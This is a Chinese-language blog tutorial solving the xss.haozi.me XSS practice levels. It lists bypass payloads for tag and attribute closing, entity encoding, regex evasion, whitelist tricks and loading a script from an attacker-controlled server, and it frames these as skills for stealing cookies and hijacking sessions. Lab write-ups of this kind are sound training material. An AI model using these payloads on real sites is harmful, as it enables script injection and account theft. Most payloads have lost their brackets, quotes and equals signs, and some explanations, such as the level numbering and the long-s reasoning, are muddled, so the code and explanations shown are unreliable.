XSS实战进阶:从xss.haozi.me靶场解析高级绕过技巧

📅 发布时间:2026/7/11 19:44:49 👁️ 浏览次数:
XSS实战进阶:从xss.haozi.me靶场解析高级绕过技巧
1. 靶场初探为什么xss.haozi.me是绝佳的实战起点很多刚接触Web安全的朋友一听到XSS跨站脚本攻击就觉得头大。理论看了不少什么反射型、存储型、DOM型概念都懂可一到自己动手面对一个真实的输入框脑子就一片空白不知道从哪下手。这种感觉我太懂了十年前我刚入门的时候也是这样。后来我发现光看理论不行必须得有个地方能让你“真刀真枪”地试错了没关系能立刻看到反馈知道问题出在哪。这就是靶场的价值。xss.haozi.me 这个靶场在我看来是市面上最适合新手进阶的XSS练习场之一。它不像一些复杂的综合靶场一上来就给你一个完整的、充满干扰的Web应用。它做得非常纯粹就是一道道关卡每一关都聚焦于一个具体的、真实的过滤或防护场景。从最简单的毫无防护到逐步引入标签过滤、事件过滤、正则表达式过滤、编码转换等等难度是阶梯式上升的。你每过一关就相当于亲手解开了一个现实中可能遇到的防护锁这种成就感是看十篇理论文章都比不了的。这个靶场的玩法也极其简单直接想尽一切办法让页面成功弹出alert(1)。这个目标非常明确alert(1)就是你的“胜利旗帜”。你别小看这个简单的弹窗在实战中能执行任意JavaScript代码就意味着你能做的事情太多了比如窃取用户的Cookie、劫持用户会话、进行键盘记录、甚至结合其他漏洞进一步渗透。所以把这个靶场打通关你掌握的绝不仅仅是弹出个窗口而是一整套绕过前端安全机制的思维和方法。我建议你在开始之前准备好浏览器的开发者工具按F12。这是你最重要的“侦察兵”。每一关你都要先看看前端的HTML源码是怎么渲染的你的输入被放在了哪个位置被哪些标签包裹着服务器返回的响应里你的输入有没有被改变。很多绕过技巧都是通过观察这些细节发现的。比如你的输入是被放在input的value属性里还是放在textarea标签内部或是作为一段文本直接插入到div中这直接决定了你的攻击向量和绕过策略。接下来我们就从最简单的关卡开始一步步拆解那些让你头疼的过滤机制。2. 基础闭合的艺术从标签到属性靶场的前几关可以说是给你热身的但里面蕴含的思想却是贯穿始终的。我们来看第一关0x00页面几乎没有任何过滤你直接输入scriptalert(1)/script就成功了。这关的意义在于告诉你这就是最原始、最理想的XSS注入点。但从第二关开始现实就来了。2.1 突破文本区域的束缚第二关0x01的注入点在一个textarea标签里面。如果你还把script标签直接输进去你会发现它只是被当作普通文本显示在了多行文本框里并不会被执行。这是因为textarea标签内部的内容是纯文本浏览器不会解析其中的HTML标签。这时候你需要一点“构造”思维。既然textarea标签本身是HTML那我们就把它闭合掉输入/textareascriptalert(1)/script页面结构就变成了textarea /textareascriptalert(1)/script /textarea你看我们用一个/textarea提前结束了原来的标签然后插入我们自己的恶意脚本再用一个textarea虽然不完整来保持结构大致正常避免明显的语法错误。这就是最基本的标签闭合技巧。除了用script你还可以利用其他能触发JavaScript的HTML属性比如事件处理器。输入/textareaimg src onerroralert(1)同样能成功。这里利用了图片的onerror事件我们故意让src为空图片加载必定失败从而触发onerror里的代码。这种方法往往比script标签更灵活因为很多过滤规则只盯着script这个关键词。2.2 属性值的逃逸第三关0x02把我们的输入放到了一个输入框input的value属性里就像这样input value你的输入。这时候无论是闭合textarea还是直接用script标签都会因为被包含在双引号内而失效。怎么办思路是一样的闭合。不过这次是闭合属性值。我们可以输入scriptalert(1)/script。当它被拼接到HTML中后完整的代码就变成了input valuescriptalert(1)/script首先闭合了value属性的双引号然后闭合了input标签本身的尖括号这样紧随其后的script标签就成功地“逃”了出来成为独立的、可被浏览器解析的HTML元素。这个技巧和SQL注入中闭合单引号再拼接恶意SQL语句的原理一模一样都是利用了“数据”和“代码”边界混淆的漏洞。你也可以用事件属性来玩 onmouseoveralert(1)这样构造出来的input value onmouseoveralert(1)当用户鼠标滑过这个输入框时就会触发弹窗。在实际的渗透测试中这种基于事件的XSS非常隐蔽危害性也很大。3. 编码与混淆绕过字符过滤的黑魔法从第四关开始靶场引入了字符过滤机制你不能直接使用某些关键符号了。这时候就需要请出编码和混淆技术。3.1 当括号被禁反引号与HTML实体编码第三关0x03过滤了圆括号()和方括号[]。这意味着你没法写alert(1)了。怎么办JavaScript提供了一个替代方案反引号。你可以使用模板字符串的语法来调用函数alert1。这行代码等价于alert(1)。这是一个非常实用的小技巧在很多简单的括号过滤场景下能直接绕过。第四关0x04更狠把括号、尖括号和引号都过滤了。这意味着你连完整的script标签或事件属性都构造不了。这时候HTML实体编码就派上用场了。浏览器在解析HTML时会先将实体编码解码成对应的字符然后再执行JavaScript。所以我们可以将关键字符进行编码。例如圆括号(的十六进制HTML实体是#x28;)是#x29;数字1是#x31;。那么我们可以构造这样的payloadimg src onerroralert#x28;#x31;#x29;。当浏览器加载这段HTML时它会先将#x28;#x31;#x29;解码还原成(1)然后作为onerror属性的值交给JavaScript引擎去执行最终成功弹窗。这里的关键是编码发生在HTML解析阶段而JavaScript执行在更后的阶段我们正是利用了这个时间差。3.2 高级编码技巧与注释陷阱第五关0x05非常有意思它把你的输入放在了HTML注释里!-- 你的输入 --并且把注释的结束符--替换成了一个表情符号。你以为被注释掉的内容就永远无法执行了吗并非如此。HTML注释有两种结束方式一种是常见的--另一种是--!。很多开发者只知道第一种而过滤规则也往往只针对第一种。所以我们可以用--!来提前结束注释然后注入我们的代码--!scriptalert(1)/script!--。这样页面结构就变成了!-- --!scriptalert(1)/script!-- --第一个!--是原有的注释开始我们输入的--!结束了它紧接着的script标签就被当作正常的HTML解析了。最后我们再补一个!--是为了把原来末尾那个被篡改的“注释结束符”现在是表情给注释掉避免它破坏页面结构。这个关卡教会我们要深入了解各种语法、协议的细节和“偏门”用法这些地方常常是防御的盲点。4. 正则表达式的攻防理解、分析与逃逸从第六关开始靶场大量使用正则表达式进行过滤。这是实战中最常见的情况也是很多朋友觉得最难的部分。其实只要你学会分析正则就能找到绕过的钥匙。4.1 利用换行符和空格第六关0x06的正则是/auto|on.*|/ig。我们来拆解一下auto匹配“auto”字符串。on.*匹配以“on”开头以“”结尾的任何字符串.*表示中间任意字符。这几乎涵盖了所有事件处理器如onerror、onclick、onmouseover。匹配右尖括号防止你闭合标签。修饰符i表示忽略大小写g表示全局匹配。看起来把路都堵死了注意看这个正则里没有处理换行符。在HTML中属性值是可以换行书写的。所以我们可以这样构造typeimage src onerror alert(1)。我们在onerror和之间插入了一个换行符或者多个空格这样on.*这个模式就匹配不上了因为on和不在同一行。但浏览器在解析时会忽略这些空白字符最终仍然将onerror和alert(1)正确关联。同理你也可以用空格但要注意on.*中的.*会匹配空格所以需要确保on和之间不止一个空格或者加入换行更稳妥。4.2 解析正则的漏洞不完整的匹配第七关0x07的正则更复杂/\/?[^]/gi。它的目的是匹配并移除所有类似HTML标签的东西如tag或/tag。\/?匹配后面跟着0个或1个/即开始标签或结束标签的开头。[^]匹配一个或多个不是的字符。最后匹配标签结束。这个正则看起来天衣无缝但它有一个隐含的假设HTML标签必须正确闭合即有开始的和结束的。然而HTML解析器非常“宽容”。我们输入一个不闭合的标签img src onerroralert(1)。注意最后没有。这个字符串不符合/\/?[^]/的匹配模式因为它缺少结尾的所以不会被过滤掉。但是浏览器在解析时为了容错会认为这个标签在合适的地方比如下一个标签开始前已经结束了并正常解析其中的onerror属性。这就是利用了过滤逻辑和浏览器解析逻辑的不一致性。防御者用正则去模拟“完美”的HTML解析但浏览器的真实解析规则却更复杂、更宽松。4.3 白名单绕过与资源引用第九关0x09和第十关0x0A引入了白名单机制。第九关要求你的输入必须包含https://www.segmentfault.com这个域名。很多人觉得既然必须是这个域名那是不是就没法干坏事了不是的。白名单往往只检查“是否包含”而不是“是否等于”。我们可以这样构造https://www.segmentfault.com onerroralert(1) //。拼接后得到input valuehttps://www.segmentfault.com onerroralert(1) //。我们用双引号提前闭合了value属性然后添加了onerror事件。后面的//是JavaScript的单行注释用于注释掉原代码中可能残留的引号或括号避免语法错误。这是一种非常经典的“白名单内嵌恶意代码”的手法。第十关0x0A更进一步它对输入进行了HTML编码使得在属性值内构造事件处理器变得困难。但它允许我们引入一个外部的URL。靶场作者很贴心地在自己域下的j.js文件里写了alert(1);。所以我们可以直接引用这个文件https://www.segmentfault.com.haozi.me/j.js。这里用了一个小技巧域名www.segmentfault.com.haozi.me实际上是haozi.me的一个子域名它满足了白名单对www.segmentfault.com的检查同时又指向了靶场自己的服务器从而加载了恶意的JS文件。这启示我们白名单过滤一定要精确匹配整个域名包括协议和路径否则子域名、路径拼接都可能成为绕过点。更高级的玩法是利用URL的语法进行跳转https://www.segmentfault.com你控制的服务器/j.js。浏览器在解析时会尝试以www.segmentfault.com的用户名和密码去访问后面的主机这通常会导致认证失败而回退到直接访问后面的主机从而加载我们控制的恶意脚本。这种手法在钓鱼攻击中也很常见。5. 变形与对抗大小写、双重编码与冷门字符最后的几关可以说是脑洞大开考验的是你对Web底层解析规则和字符集的了解深度。5.1 大小写敏感性的差异第十一关0x0B把所有字母都转成了大写。如果你输入scriptalert(1)/script它会变成SCRIPTALERT(1)/SCRIPT这当然无法执行因为JavaScript是大小写敏感的ALERT不是一个有效的函数。这里有一个关键知识点HTML标签和属性名不区分大小写但JavaScript代码区分。所以我们可以保持HTML部分标签、属性名不变只对JavaScript代码部分进行编码。例如img src onerror#x61;#x6c;#x65;#x72;#x74;(1)。这里#x61;是 ‘a’#x6c;是 ‘l’……拼起来就是小写的alert。当浏览器解析HTML时这些实体编码被解码成小写字母然后交给JS引擎执行完美绕过。另一种更简单的方法依然是利用资源引用因为域名不区分大小写script srcHTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS/script。虽然标签里的HTTPS://...被大写了但浏览器发起请求时会将其规范化最终仍然能正确访问到那个小写的j.js文件。5.2 双重过滤与畸形构造第十二关0x0C在上一关基础上增加了对script这个词的过滤发现即替换为空。这招挺狠script标签直接被拆成了。怎么破我们可以利用字符串替换的一个常见漏洞它不是递归的。也就是说它只替换一次。我们输入sscriptcript当过滤器把中间的script删掉后剩下的部分正好拼凑成script这种手法在SQL注入里也很常见比如用SELSELECTECT绕过对SELECT的过滤。所以payload可以是sscriptcript src.../sscriptcript。5.3 利用古字符与转义符第十四关0x0E堪称经典。它把所有标签名后面加了一个下划线并且转大写比如script会变成SCRIPT_。这看起来彻底封死了标签注入的路。答案非常巧妙它用到了一个叫“长S”ſ的古拉丁字母。这个字母的小写是ſ但其大写形式是S。所以当我们输入ſcript时过滤器会将其转换为SCRIPT_。注意这里的S是由ſ大写化而来的它后面并没有真正的下划线字符那个下划线是过滤器硬加上的。浏览器在解析HTML标签时会进行标准化它可能并不认识SCRIPT_这个标签但会尝试进行容错处理。在某些浏览器的解析逻辑中它可能会忽略末尾的下划线或者将ſ的大写形式S正确识别从而最终将ſcript解析为一个有效的script标签。这需要你对Unicode字符集和浏览器解析的怪异行为有深入的了解。最后几关0x0F 到 0x12主要考察对JavaScript上下文和转义符的理解。比如输入在引号内并且引号被转义了\。你不能直接闭合引号但可以转义转义符本身。输入\); alert(1); //。第一个反斜杠\用来转义后面的引号形成\但这本身是一个字面量反斜杠加引号。我们的输入是\当它前面已有的反斜杠遇到我们输入的反斜杠时两个反斜杠\\被解释为一个字面量的反斜杠字符而我们输入的引号就暴露了出来成功闭合了前面的字符串。这种“套娃”式的转义逻辑在代码审计和漏洞挖掘中经常遇到需要仔细梳理字符串拼接后的最终状态。通关整个xss.haozi.me靶场就像完成了一次系统的XSS绕过特训。它教会你的不是一个个孤立的Payload而是一种对抗性思维永远站在防御者的角度去思考他可能如何过滤然后寻找过滤规则与浏览器真实行为之间的缝隙。在实际的漏洞挖掘中情况会比靶场复杂得多可能是多种过滤方式的组合也可能有更严格的CSP内容安全策略。但只要你掌握了这些核心的绕过思想——闭合、编码、利用解析差异、混淆、滥用特性——你就有了解决问题的基本工具箱。剩下的就是耐心、细心和大量的实践。下次当你遇到一个看似固若金汤的输入框时不妨回想一下在靶场里闯关的经历一层层拆解它的防御也许突破口就在某个你忽略的细节里。